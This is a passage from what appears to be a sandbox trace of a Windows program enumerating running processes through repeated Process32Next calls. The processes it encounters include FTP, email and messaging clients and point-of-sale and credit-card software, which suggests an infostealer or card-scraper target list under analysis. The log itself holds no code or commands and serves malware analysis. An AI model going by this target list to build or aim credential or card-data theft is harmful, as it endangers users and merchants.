lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0117.139] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0117.141] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0117.144] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0117.146] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0117.148] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0117.151] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0117.153] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0117.156] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0117.158] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0117.161] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0117.164] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0117.166] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0117.168] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0117.171] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0117.173] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0117.175] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0117.177] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0117.180] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0117.183] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0117.186] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0117.188] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0117.191] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0117.193] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0117.196] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0117.198] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0117.200] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0117.202] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0117.204] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0117.207] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0117.209] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0117.211] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0117.213] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0117.263] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0117.265] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0117.267] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0117.269] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0117.271] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0117.273] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0117.275] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0117.277] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0117.279] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.282] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0117.284] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0117.286] CloseHandle (hObject=0x20ac) returned 1 [0117.286] Sleep (dwMilliseconds=0x64) [0117.386] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20ac [0117.412] Process32First (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.416] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.419] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.421] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.424] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.427] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.430] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.432] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.435] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.438] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.441] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.443] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.446] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.449] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.451] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.454] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.456] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.459] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.461] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.464] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.466] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0117.469] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.471] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.478] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0117.482] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.487] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0117.489] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.492] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0117.495] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0117.498] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0117.501] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.505] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.507] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0117.510] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.512] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.515] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.518] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.520] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0117.523] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0117.526] 